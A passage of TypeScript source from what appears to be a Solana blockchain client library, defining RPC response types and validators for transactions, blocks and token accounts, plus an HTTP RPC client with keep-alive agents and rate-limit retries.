A processed transaction from the RPC API\n */\nexport type VersionedTransactionResponse = {\n /** The slot during which the transaction was processed */\n slot: number;\n /** The transaction */\n transaction: {\n /** The transaction message */\n message: VersionedMessage;\n /** The transaction signatures */\n signatures: string[];\n };\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n /** The transaction version */\n version?: TransactionVersion;\n};\n\n/**\n * A processed transaction message from the RPC API\n */\ntype MessageResponse = {\n accountKeys: string[];\n header: MessageHeader;\n instructions: CompiledInstruction[];\n recentBlockhash: string;\n addressTableLookups?: ParsedAddressTableLookup[];\n};\n\n/**\n * A confirmed transaction on the ledger\n *\n * @deprecated Deprecated since RPC v1.8.0.\n */\nexport type ConfirmedTransaction = {\n /** The slot during which the transaction was processed */\n slot: number;\n /** The details of the transaction */\n transaction: Transaction;\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n};\n\n/**\n * A partially decoded transaction instruction\n */\nexport type PartiallyDecodedInstruction = {\n /** Program id called by this instruction */\n programId: PublicKey;\n /** Public keys of accounts passed to this instruction */\n accounts: Array<PublicKey>;\n /** Raw base-58 instruction data */\n data: string;\n};\n\n/**\n * A parsed transaction message account\n */\nexport type ParsedMessageAccount = {\n /** Public key of the account */\n pubkey: PublicKey;\n /** Indicates if the account signed the transaction */\n signer: boolean;\n /** Indicates if the account is writable for this transaction */\n writable: boolean;\n /** Indicates if the account key came from the transaction or a lookup table */\n source?: 'transaction' | 'lookupTable';\n};\n\n/**\n * A parsed transaction instruction\n */\nexport type ParsedInstruction = {\n /** Name of the program for this instruction */\n program: string;\n /** ID of the program for this instruction */\n programId: PublicKey;\n /** Parsed instruction info */\n parsed: any;\n};\n\n/**\n * A parsed address table lookup\n */\nexport type ParsedAddressTableLookup = {\n /** Address lookup table account key */\n accountKey: PublicKey;\n /** Parsed instruction info */\n writableIndexes: number[];\n /** Parsed instruction info */\n readonlyIndexes: number[];\n};\n\n/**\n * A parsed transaction message\n */\nexport type ParsedMessage = {\n /** Accounts used in the instructions */\n accountKeys: ParsedMessageAccount[];\n /** The atomically executed instructions for the transaction */\n instructions: (ParsedInstruction | PartiallyDecodedInstruction)[];\n /** Recent blockhash */\n recentBlockhash: string;\n /** Address table lookups used to load additional accounts */\n addressTableLookups?: ParsedAddressTableLookup[] | null;\n};\n\n/**\n * A parsed transaction\n */\nexport type ParsedTransaction = {\n /** Signatures for the transaction */\n signatures: Array<string>;\n /** Message of the transaction */\n message: ParsedMessage;\n};\n\n/**\n * A parsed and confirmed transaction on the ledger\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link ParsedTransactionWithMeta} instead.\n */\nexport type ParsedConfirmedTransaction = ParsedTransactionWithMeta;\n\n/**\n * A parsed transaction on the ledger with meta\n */\nexport type ParsedTransactionWithMeta = {\n /** The slot during which the transaction was processed */\n slot: number;\n /** The details of the transaction */\n transaction: ParsedTransaction;\n /** Metadata produced from the transaction */\n meta: ParsedTransactionMeta | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n /** The version of the transaction message */\n version?: TransactionVersion;\n};\n\n/**\n * A processed block fetched from the RPC API\n */\nexport type BlockResponse = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of transactions with status meta and original message */\n transactions: Array<{\n /** The transaction */\n transaction: {\n /** The transaction message */\n message: Message;\n /** The transaction signatures */\n signatures: string[];\n };\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The transaction version */\n version?: TransactionVersion;\n }>;\n /** Vector of block rewards */\n rewards?: Array<{\n /** Public key of reward recipient */\n pubkey: string;\n /** Reward value in lamports */\n lamports: number;\n /** Account balance after reward is applied */\n postBalance: number | null;\n /** Type of reward received */\n rewardType: string | null;\n /** Vote account commission when the reward was credited, only present for voting and staking rewards */\n commission?: number | null;\n }>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n};\n\n/**\n * A processed block fetched from the RPC API where the `transactionDetails` mode is `accounts`\n */\nexport type AccountsModeBlockResponse = VersionedAccountsModeBlockResponse;\n\n/**\n * A processed block fetched from the RPC API where the `transactionDetails` mode is `none`\n */\nexport type NoneModeBlockResponse = VersionedNoneModeBlockResponse;\n\n/**\n * A block with parsed transactions\n */\nexport type ParsedBlockResponse = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of transactions with status meta and original message */\n transactions: Array<{\n /** The details of the transaction */\n transaction: ParsedTransaction;\n /** Metadata produced from the transaction */\n meta: ParsedTransactionMeta | null;\n /** The transaction version */\n version?: TransactionVersion;\n }>;\n /** Vector of block rewards */\n rewards?: Array<{\n /** Public key of reward recipient */\n pubkey: string;\n /** Reward value in lamports */\n lamports: number;\n /** Account balance after reward is applied */\n postBalance: number | null;\n /** Type of reward received */\n rewardType: string | null;\n /** Vote account commission when the reward was credited, only present for voting and staking rewards */\n commission?: number | null;\n }>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n /** The number of blocks beneath this block */\n blockHeight: number | null;\n};\n\n/**\n * A block with parsed transactions where the `transactionDetails` mode is `accounts`\n */\nexport type ParsedAccountsModeBlockResponse = Omit<\n ParsedBlockResponse,\n 'transactions'\n> & {\n transactions: Array<\n Omit<ParsedBlockResponse['transactions'][number], 'transaction'> & {\n transaction: Pick<\n ParsedBlockResponse['transactions'][number]['transaction'],\n 'signatures'\n > & {\n accountKeys: ParsedMessageAccount[];\n };\n }\n >;\n};\n\n/**\n * A block with parsed transactions where the `transactionDetails` mode is `none`\n */\nexport type ParsedNoneModeBlockResponse = Omit<\n ParsedBlockResponse,\n 'transactions'\n>;\n\n/**\n * A processed block fetched from the RPC API\n */\nexport type VersionedBlockResponse = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of transactions with status meta and original message */\n transactions: Array<{\n /** The transaction */\n transaction: {\n /** The transaction message */\n message: VersionedMessage;\n /** The transaction signatures */\n signatures: string[];\n };\n /** Metadata produced from the transaction */\n meta: ConfirmedTransactionMeta | null;\n /** The transaction version */\n version?: TransactionVersion;\n }>;\n /** Vector of block rewards */\n rewards?: Array<{\n /** Public key of reward recipient */\n pubkey: string;\n /** Reward value in lamports */\n lamports: number;\n /** Account balance after reward is applied */\n postBalance: number | null;\n /** Type of reward received */\n rewardType: string | null;\n /** Vote account commission when the reward was credited, only present for voting and staking rewards */\n commission?: number | null;\n }>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n};\n\n/**\n * A processed block fetched from the RPC API where the `transactionDetails` mode is `accounts`\n */\nexport type VersionedAccountsModeBlockResponse = Omit<\n VersionedBlockResponse,\n 'transactions'\n> & {\n transactions: Array<\n Omit<VersionedBlockResponse['transactions'][number], 'transaction'> & {\n transaction: Pick<\n VersionedBlockResponse['transactions'][number]['transaction'],\n 'signatures'\n > & {\n accountKeys: ParsedMessageAccount[];\n };\n }\n >;\n};\n\n/**\n * A processed block fetched from the RPC API where the `transactionDetails` mode is `none`\n */\nexport type VersionedNoneModeBlockResponse = Omit<\n VersionedBlockResponse,\n 'transactions'\n>;\n\n/**\n * A confirmed block on the ledger\n *\n * @deprecated Deprecated since RPC v1.8.0.\n */\nexport type ConfirmedBlock = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of transactions and status metas */\n transactions: Array<{\n transaction: Transaction;\n meta: ConfirmedTransactionMeta | null;\n }>;\n /** Vector of block rewards */\n rewards?: Array<{\n pubkey: string;\n lamports: number;\n postBalance: number | null;\n rewardType: string | null;\n commission?: number | null;\n }>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n};\n\n/**\n * A Block on the ledger with signatures only\n */\nexport type BlockSignatures = {\n /** Blockhash of this block */\n blockhash: Blockhash;\n /** Blockhash of this block's parent */\n previousBlockhash: Blockhash;\n /** Slot index of this block's parent */\n parentSlot: number;\n /** Vector of signatures */\n signatures: Array<string>;\n /** The unix timestamp of when the block was processed */\n blockTime: number | null;\n};\n\n/**\n * recent block production information\n */\nexport type BlockProduction = Readonly<{\n /** a dictionary of validator identities, as base-58 encoded strings. Value is a two element array containing the number of leader slots and the number of blocks produced */\n byIdentity: Readonly<Record<string, ReadonlyArray<number>>>;\n /** Block production slot range */\n range: Readonly<{\n /** first slot of the block production information (inclusive) */\n firstSlot: number;\n /** last slot of block production information (inclusive) */\n lastSlot: number;\n }>;\n}>;\n\nexport type GetBlockProductionConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** Slot range to return block production for. If parameter not provided, defaults to current epoch. */\n range?: {\n /** first slot to return block production information for (inclusive) */\n firstSlot: number;\n /** last slot to return block production information for (inclusive). If parameter not provided, defaults to the highest slot */\n lastSlot?: number;\n };\n /** Only return results for this validator identity (base-58 encoded) */\n identity?: string;\n};\n\n/**\n * Expected JSON RPC response for the \"getBlockProduction\" message\n */\nconst BlockProductionResponseStruct = jsonRpcResultAndContext(\n pick({\n byIdentity: record(string(), array(number())),\n range: pick({\n firstSlot: number(),\n lastSlot: number(),\n }),\n }),\n);\n\n/**\n * A performance sample\n */\nexport type PerfSample = {\n /** Slot number of sample */\n slot: number;\n /** Number of transactions in a sample window */\n numTransactions: number;\n /** Number of slots in a sample window */\n numSlots: number;\n /** Sample window in seconds */\n samplePeriodSecs: number;\n};\n\nfunction createRpcClient(\n url: string,\n httpHeaders?: HttpHeaders,\n customFetch?: FetchFn,\n fetchMiddleware?: FetchMiddleware,\n disableRetryOnRateLimit?: boolean,\n httpAgent?: NodeHttpAgent | NodeHttpsAgent | false,\n): RpcClient {\n const fetch = customFetch ? customFetch : fetchImpl;\n let agent: NodeHttpAgent | NodeHttpsAgent | undefined;\n if (process.env.BROWSER) {\n if (httpAgent != null) {\n console.warn(\n 'You have supplied an `httpAgent` when creating a `Connection` in a browser environment.' +\n 'It has been ignored; `httpAgent` is only used in Node environments.',\n );\n }\n } else {\n if (httpAgent == null) {\n if (process.env.NODE_ENV !== 'test') {\n const agentOptions = {\n // One second fewer than the Solana RPC's keepalive timeout.\n // Read more: https://github.com/solana-labs/solana/issues/27859#issuecomment-1340097889\n freeSocketTimeout: 19000,\n keepAlive: true,\n maxSockets: 25,\n };\n if (url.startsWith('https:')) {\n agent = new HttpsKeepAliveAgent(agentOptions);\n } else {\n agent = new HttpKeepAliveAgent(agentOptions);\n }\n }\n } else {\n if (httpAgent !== false) {\n const isHttps = url.startsWith('https:');\n if (isHttps && !(httpAgent instanceof NodeHttpsAgent)) {\n throw new Error(\n 'The endpoint `' +\n url +\n '` can only be paired with an `https.Agent`. You have, instead, supplied an ' +\n '`http.Agent` through `httpAgent`.',\n );\n } else if (!isHttps && httpAgent instanceof NodeHttpsAgent) {\n throw new Error(\n 'The endpoint `' +\n url +\n '` can only be paired with an `http.Agent`. You have, instead, supplied an ' +\n '`https.Agent` through `httpAgent`.',\n );\n }\n agent = httpAgent;\n }\n }\n }\n\n let fetchWithMiddleware: FetchFn | undefined;\n\n if (fetchMiddleware) {\n fetchWithMiddleware = async (info, init) => {\n const modifiedFetchArgs = await new Promise<Parameters<FetchFn>>(\n (resolve, reject) => {\n try {\n fetchMiddleware(info, init, (modifiedInfo, modifiedInit) =>\n resolve([modifiedInfo, modifiedInit]),\n );\n } catch (error) {\n reject(error);\n }\n },\n );\n return await fetch(...modifiedFetchArgs);\n };\n }\n\n const clientBrowser = new RpcClient(async (request, callback) => {\n const options = {\n method: 'POST',\n body: request,\n agent,\n headers: Object.assign(\n {\n 'Content-Type': 'application/json',\n },\n httpHeaders || {},\n COMMON_HTTP_HEADERS,\n ),\n };\n\n try {\n let too_many_requests_retries = 5;\n let res: Response;\n let waitTime = 500;\n for (;;) {\n if (fetchWithMiddleware) {\n res = await fetchWithMiddleware(url, options);\n } else {\n res = await fetch(url, options);\n }\n\n if (res.status !== 429 /* Too many requests */) {\n break;\n }\n if (disableRetryOnRateLimit === true) {\n break;\n }\n too_many_requests_retries -= 1;\n if (too_many_requests_retries === 0) {\n break;\n }\n console.error(\n `Server responded with ${res.status} ${res.statusText}. Retrying after ${waitTime}ms delay...`,\n );\n await sleep(waitTime);\n waitTime *= 2;\n }\n\n const text = await res.text();\n if (res.ok) {\n callback(null, text);\n } else {\n callback(new Error(`${res.status} ${res.statusText}: ${text}`));\n }\n } catch (err) {\n if (err instanceof Error) callback(err);\n }\n }, {});\n\n return clientBrowser;\n}\n\nfunction createRpcRequest(client: RpcClient): RpcRequest {\n return (method, args) => {\n return new Promise((resolve, reject) => {\n client.request(method, args, (err: any, response: any) => {\n if (err) {\n reject(err);\n return;\n }\n resolve(response);\n });\n });\n };\n}\n\nfunction createRpcBatchRequest(client: RpcClient): RpcBatchRequest {\n return (requests: RpcParams[]) => {\n return new Promise((resolve, reject) => {\n // Do nothing if requests is empty\n if (requests.length === 0) resolve([]);\n\n const batch = requests.map((params: RpcParams) => {\n return client.request(params.methodName, params.args);\n });\n\n client.request(batch, (err: any, response: any) => {\n if (err) {\n reject(err);\n return;\n }\n resolve(response);\n });\n });\n };\n}\n\n/**\n * Expected JSON RPC response for the \"getInflationGovernor\" message\n */\nconst GetInflationGovernorRpcResult = jsonRpcResult(GetInflationGovernorResult);\n\n/**\n * Expected JSON RPC response for the \"getInflationRate\" message\n */\nconst GetInflationRateRpcResult = jsonRpcResult(GetInflationRateResult);\n\n/**\n * Expected JSON RPC response for the \"getRecentPrioritizationFees\" message\n */\nconst GetRecentPrioritizationFeesRpcResult = jsonRpcResult(\n GetRecentPrioritizationFeesResult,\n);\n\n/**\n * Expected JSON RPC response for the \"getEpochInfo\" message\n */\nconst GetEpochInfoRpcResult = jsonRpcResult(GetEpochInfoResult);\n\n/**\n * Expected JSON RPC response for the \"getEpochSchedule\" message\n */\nconst GetEpochScheduleRpcResult = jsonRpcResult(GetEpochScheduleResult);\n\n/**\n * Expected JSON RPC response for the \"getLeaderSchedule\" message\n */\nconst GetLeaderScheduleRpcResult = jsonRpcResult(GetLeaderScheduleResult);\n\n/**\n * Expected JSON RPC response for the \"minimumLedgerSlot\" and \"getFirstAvailableBlock\" messages\n */\nconst SlotRpcResult = jsonRpcResult(number());\n\n/**\n * Supply\n */\nexport type Supply = {\n /** Total supply in lamports */\n total: number;\n /** Circulating supply in lamports */\n circulating: number;\n /** Non-circulating supply in lamports */\n nonCirculating: number;\n /** List of non-circulating account addresses */\n nonCirculatingAccounts: Array<PublicKey>;\n};\n\n/**\n * Expected JSON RPC response for the \"getSupply\" message\n */\nconst GetSupplyRpcResult = jsonRpcResultAndContext(\n pick({\n total: number(),\n circulating: number(),\n nonCirculating: number(),\n nonCirculatingAccounts: array(PublicKeyFromString),\n }),\n);\n\n/**\n * Token amount object which returns a token amount in different formats\n * for various client use cases.\n */\nexport type TokenAmount = {\n /** Raw amount of tokens as string ignoring decimals */\n amount: string;\n /** Number of decimals configured for token's mint */\n decimals: number;\n /** Token amount as float, accounts for decimals */\n uiAmount: number | null;\n /** Token amount as string, accounts for decimals */\n uiAmountString?: string;\n};\n\n/**\n * Expected JSON RPC structure for token amounts\n */\nconst TokenAmountResult = pick({\n amount: string(),\n uiAmount: nullable(number()),\n decimals: number(),\n uiAmountString: optional(string()),\n});\n\n/**\n * Token address and balance.\n */\nexport type TokenAccountBalancePair = {\n /** Address of the token account */\n address: PublicKey;\n /** Raw amount of tokens as string ignoring decimals */\n amount: string;\n /** Number of decimals configured for token's mint */\n decimals: number;\n /** Token amount as float, accounts for decimals */\n uiAmount: number | null;\n /** Token amount as string, accounts for decimals */\n uiAmountString?: string;\n};\n\n/**\n * Expected JSON RPC response for the \"getTokenLargestAccounts\" message\n */\nconst GetTokenLargestAccountsResult = jsonRpcResultAndContext(\n array(\n pick({\n address: PublicKeyFromString,\n amount: string(),\n uiAmount: nullable(number()),\n decimals: number(),\n uiAmountString: optional(string()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getTokenAccountsByOwner\" message\n */\nconst GetTokenAccountsByOwner = jsonRpcResultAndContext(\n array(\n pick({\n pubkey: PublicKeyFromString,\n account: pick({\n executable: boolean(),\n owner: PublicKeyFromString,\n lamports: number(),\n data: BufferFromRawAccountData,\n rentEpoch: number(),\n }),\n }),\n ),\n);\n\nconst ParsedAccountDataResult = pick({\n program: string(),\n parsed: unknown(),\n space: number(),\n});\n\n/**\n * Expected JSON RPC response for the \"getTokenAccountsByOwner\" message with parsed data\n */\nconst GetParsedTokenAccountsByOwner = jsonRpcResultAndContext(\n array(\n pick({\n pubkey: PublicKeyFromString,\n account: pick({\n executable: boolean(),\n owner: PublicKeyFromString,\n lamports: number(),\n data: ParsedAccountDataResult,\n rentEpoch: number(),\n }),\n }),\n ),\n);\n\n/**\n * Pair of an account address and its balance\n */\nexport type AccountBalancePair = {\n address: PublicKey;\n lamports: number;\n};\n\n/**\n * Expected JSON RPC response for the \"getLargestAccounts\" message\n */\nconst GetLargestAccountsRpcResult = jsonRpcResultAndContext(\n array(\n pick({\n lamports: number(),\n address: PublicKeyFromString,\n }),\n ),\n);\n\n/**\n * @internal\n */\nconst AccountInfoResult = pick({\n executable: boolean(),\n owner: PublicKeyFromString,\n lamports: number(),\n data: BufferFromRawAccountData,\n rentEpoch: number(),\n});\n\n/**\n * @internal\n */\nconst KeyedAccountInfoResult = pick({\n pubkey: PublicKeyFromString,\n account: AccountInfoResult,\n});\n\nconst ParsedOrRawAccountData = coerce(\n union([instance(Buffer), ParsedAccountDataResult]),\n union([RawAccountDataResult, ParsedAccountDataResult]),\n value => {\n if (Array.isArray(value)) {\n return create(value, BufferFromRawAccountData);\n } else {\n return value;\n }\n },\n);\n\n/**\n * @internal\n */\nconst ParsedAccountInfoResult = pick({\n executable: boolean(),\n owner: PublicKeyFromString,\n lamports: number(),\n data: ParsedOrRawAccountData,\n rentEpoch: number(),\n});\n\nconst KeyedParsedAccountInfoResult = pick({\n pubkey: PublicKeyFromString,\n account: ParsedAccountInfoResult,\n});\n\n/**\n * @internal\n */\nconst StakeActivationResult = pick({\n state: union([\n literal('active'),\n literal('inactive'),\n literal('activating'),\n literal('deactivating'),\n ]),\n active: number(),\n inactive: number(),\n});\n\n/**\n * Expected JSON RPC response for the \"getConfirmedSignaturesForAddress2\" message\n */\n\nconst GetConfirmedSignaturesForAddress2RpcResult = jsonRpcResult(\n array(\n pick({\n signature: string(),\n slot: number(),\n err: TransactionErrorResult,\n memo: nullable(string()),\n blockTime: optional(nullable(number())),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getSignaturesForAddress\" message\n */\nconst GetSignaturesForAddressRpcResult = jsonRpcResult(\n array(\n pick({\n signature: string(),\n slot: number(),\n err: TransactionErrorResult,\n memo: nullable(string()),\n blockTime: optional(nullable(number())),\n }),\n ),\n);\n\n/***\n * Expected JSON RPC response for the \"accountNotification\" message\n */\nconst AccountNotificationResult = pick({\n subscription: number(),\n result: notificationResultAndContext(AccountInfoResult),\n});\n\n/**\n * @internal\n */\nconst ProgramAccountInfoResult = pick({\n pubkey: PublicKeyFromString,\n account: AccountInfoResult,\n});\n\n/***\n * Expected JSON RPC response for the \"programNotification\" message\n */\nconst ProgramAccountNotificationResult = pick({\n subscription: number(),\n result: notificationResultAndContext(ProgramAccountInfoResult),\n});\n\n/**\n * @internal\n */\nconst SlotInfoResult = pick({\n parent: number(),\n slot: number(),\n root: number(),\n});\n\n/**\n * Expected JSON RPC response for the \"slotNotification\" message\n */\nconst SlotNotificationResult = pick({\n subscription: number(),\n result: SlotInfoResult,\n});\n\n/**\n * Slot updates which can be used for tracking the live progress of a cluster.\n * - `\"firstShredReceived\"`: connected node received the first shred of a block.\n * Indicates that a new block that is being produced.\n * - `\"completed\"`: connected node has received all shreds of a block. Indicates\n * a block was recently produced.\n * - `\"optimisticConfirmation\"`: block was optimistically confirmed by the\n * cluster. It is not guaranteed that an optimistic confirmation notification\n * will be sent for every finalized blocks.\n * - `\"root\"`: the connected node rooted this block.\n * - `\"createdBank\"`: the connected node has started validating this block.\n * - `\"frozen\"`: the connected node has validated this block.\n * - `\"dead\"`: the connected node failed to validate this block.\n */\nexport type SlotUpdate =\n | {\n type: 'firstShredReceived';\n slot: number;\n timestamp: number;\n }\n | {\n type: 'completed';\n slot: number;\n timestamp: number;\n }\n | {\n type: 'createdBank';\n slot: number;\n timestamp: number;\n parent: number;\n }\n | {\n type: 'frozen';\n slot: number;\n timestamp: number;\n stats: {\n numTransactionEntries: number;\n numSuccessfulTransactions: number;\n numFailedTransactions: number;\n maxTransactionsPerEntry: number;\n };\n }\n | {\n type: 'dead';\n slot: number;\n timestamp: number;\n err: string;\n }\n | {\n type: 'optimisticConfirmation';\n slot: number;\n timestamp: number;\n }\n | {\n type: 'root';\n slot: number;\n timestamp: number;\n };\n\n/**\n * @internal\n */\nconst SlotUpdateResult = union([\n pick({\n type: union([\n literal('firstShredReceived'),\n literal('completed'),\n literal('optimisticConfirmation'),\n literal('root'),\n ]),\n slot: number(),\n timestamp: number(),\n }),\n pick({\n type: literal('createdBank'),\n parent: number(),\n slot: number(),\n timestamp: number(),\n }),\n pick({\n type: literal('frozen'),\n slot: number(),\n timestamp: number(),\n stats: pick({\n numTransactionEntries: number(),\n numSuccessfulTransactions: number(),\n numFailedTransactions: number(),\n maxTransactionsPerEntry: number(),\n }),\n }),\n pick({\n type: literal('dead'),\n slot: number(),\n timestamp: number(),\n err: string(),\n }),\n]);\n\n/**\n * Expected JSON RPC response for the \"slotsUpdatesNotification\" message\n */\nconst SlotUpdateNotificationResult = pick({\n subscription: number(),\n result: SlotUpdateResult,\n});\n\n/**\n * Expected JSON RPC response for the \"signatureNotification\" message\n */\nconst SignatureNotificationResult = pick({\n subscription: number(),\n result: notificationResultAndContext(\n union([SignatureStatusResult, SignatureReceivedResult]),\n ),\n});\n\n/**\n * Expected JSON RPC response for the \"rootNotification\" message\n */\nconst RootNotificationResult = pick({\n subscription: number(),\n result: number(),\n});\n\nconst ContactInfoResult = pick({\n pubkey: string(),\n gossip: nullable(string()),\n tpu: nullable(string()),\n rpc: nullable(string()),\n version: nullable(string()),\n});\n\nconst VoteAccountInfoResult = pick({\n votePubkey: string(),\n nodePubkey: string(),\n activatedStake: number(),\n epochVoteAccount: boolean(),\n epochCredits: array(tuple([number(), number(), number()])),\n commission: number(),\n lastVote: number(),\n rootSlot: nullable(number()),\n});\n\n/**\n * Expected JSON RPC response for the \"getVoteAccounts\" message\n */\nconst GetVoteAccounts = jsonRpcResult(\n pick({\n current: array(VoteAccountInfoResult),\n delinquent: array(VoteAccountInfoResult),\n }),\n);\n\nconst ConfirmationStatus = union([\n literal('processed'),\n literal('confirmed'),\n literal('finalized'),\n]);\n\nconst SignatureStatusResponse = pick({\n slot: number(),\n confirmations: nullable(number()),\n err: TransactionErrorResult,\n confirmationStatus: optional(ConfirmationStatus),\n});\n\n/**\n * Expected JSON RPC response for the \"getSignatureStatuses\" message\n */\nconst GetSignatureStatusesRpcResult = jsonRpcResultAndContext(\n array(nullable(SignatureStatusResponse)),\n);\n\n/**\n * Expected JSON RPC response for the \"getMinimumBalanceForRentExemption\" message\n */\nconst GetMinimumBalanceForRentExemptionRpcResult = jsonRpcResult(number());\n\nconst AddressTableLookupStruct = pick({\n accountKey: PublicKeyFromString,\n writableIndexes: array(number()),\n readonlyIndexes: array(number()),\n});\n\nconst ConfirmedTransactionResult = pick({\n signatures: array(string()),\n message: pick({\n accountKeys: array(string()),\n header: pick({\n numRequiredSignatures: number(),\n numReadonlySignedAccounts: number(),\n numReadonlyUnsignedAccounts: number(),\n }),\n instructions: array(\n pick({\n accounts: array(number()),\n data: string(),\n programIdIndex: number(),\n }),\n ),\n recentBlockhash: string(),\n addressTableLookups: optional(array(AddressTableLookupStruct)),\n }),\n});\n\nconst AnnotatedAccountKey = pick({\n pubkey: PublicKeyFromString,\n signer: boolean(),\n writable: boolean(),\n source: optional(union([literal('transaction'), literal('lookupTable')])),\n});\n\nconst ConfirmedTransactionAccountsModeResult = pick({\n accountKeys: array(AnnotatedAccountKey),\n signatures: array(string()),\n});\n\nconst ParsedInstructionResult = pick({\n parsed: unknown(),\n program: string(),\n programId: PublicKeyFromString,\n});\n\nconst RawInstructionResult = pick({\n accounts: array(PublicKeyFromString),\n data: string(),\n programId: PublicKeyFromString,\n});\n\nconst InstructionResult = union([\n RawInstructionResult,\n ParsedInstructionResult,\n]);\n\nconst UnknownInstructionResult = union([\n pick({\n parsed: unknown(),\n program: string(),\n programId: string(),\n }),\n pick({\n accounts: array(string()),\n data: string(),\n programId: string(),\n }),\n]);\n\nconst ParsedOrRawInstruction = coerce(\n InstructionResult,\n UnknownInstructionResult,\n value => {\n if ('accounts' in value) {\n return create(value, RawInstructionResult);\n } else {\n return create(value, ParsedInstructionResult);\n }\n },\n);\n\n/**\n * @internal\n */\nconst ParsedConfirmedTransactionResult = pick({\n signatures: array(string()),\n message: pick({\n accountKeys: array(AnnotatedAccountKey),\n instructions: array(ParsedOrRawInstruction),\n recentBlockhash: string(),\n addressTableLookups: optional(nullable(array(AddressTableLookupStruct))),\n }),\n});\n\nconst TokenBalanceResult = pick({\n accountIndex: number(),\n mint: string(),\n owner: optional(string()),\n programId: optional(string()),\n uiTokenAmount: TokenAmountResult,\n});\n\nconst LoadedAddressesResult = pick({\n writable: array(PublicKeyFromString),\n readonly: array(PublicKeyFromString),\n});\n\n/**\n * @internal\n */\nconst ConfirmedTransactionMetaResult = pick({\n err: TransactionErrorResult,\n fee: number(),\n innerInstructions: optional(\n nullable(\n array(\n pick({\n index: number(),\n instructions: array(\n pick({\n accounts: array(number()),\n data: string(),\n programIdIndex: number(),\n }),\n ),\n }),\n ),\n ),\n ),\n preBalances: array(number()),\n postBalances: array(number()),\n logMessages: optional(nullable(array(string()))),\n preTokenBalances: optional(nullable(array(TokenBalanceResult))),\n postTokenBalances: optional(nullable(array(TokenBalanceResult))),\n loadedAddresses: optional(LoadedAddressesResult),\n computeUnitsConsumed: optional(number()),\n});\n\n/**\n * @internal\n */\nconst ParsedConfirmedTransactionMetaResult = pick({\n err: TransactionErrorResult,\n fee: number(),\n innerInstructions: optional(\n nullable(\n array(\n pick({\n index: number(),\n instructions: array(ParsedOrRawInstruction),\n }),\n ),\n ),\n ),\n preBalances: array(number()),\n postBalances: array(number()),\n logMessages: optional(nullable(array(string()))),\n preTokenBalances: optional(nullable(array(TokenBalanceResult))),\n postTokenBalances: optional(nullable(array(TokenBalanceResult))),\n loadedAddresses: optional(LoadedAddressesResult),\n computeUnitsConsumed: optional(number()),\n});\n\nconst TransactionVersionStruct = union([literal(0), literal('legacy')]);\n\n/** @internal */\nconst RewardsResult = pick({\n pubkey: string(),\n lamports: number(),\n postBalance: nullable(number()),\n rewardType: nullable(string()),\n commission: optional(nullable(number())),\n});\n\n/**\n * Expected JSON RPC response for the \"getBlock\" message\n */\nconst GetBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ConfirmedTransactionResult,\n meta: nullable(ConfirmedTransactionMetaResult),\n version: optional(TransactionVersionStruct),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getBlock\" message when `transactionDetails` is `none`\n */\nconst GetNoneModeBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getBlock\" message when `transactionDetails` is `accounts`\n */\nconst GetAccountsModeBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ConfirmedTransactionAccountsModeResult,\n meta: nullable(ConfirmedTransactionMetaResult),\n version: optional(TransactionVersionStruct),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected parsed JSON RPC response for the \"getBlock\" message\n */\nconst GetParsedBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ParsedConfirmedTransactionResult,\n meta: nullable(ParsedConfirmedTransactionMetaResult),\n version: optional(TransactionVersionStruct),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected parsed JSON RPC response for the \"getBlock\" message when `transactionDetails` is `accounts`\n */\nconst GetParsedAccountsModeBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ConfirmedTransactionAccountsModeResult,\n meta: nullable(ParsedConfirmedTransactionMetaResult),\n version: optional(TransactionVersionStruct),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n 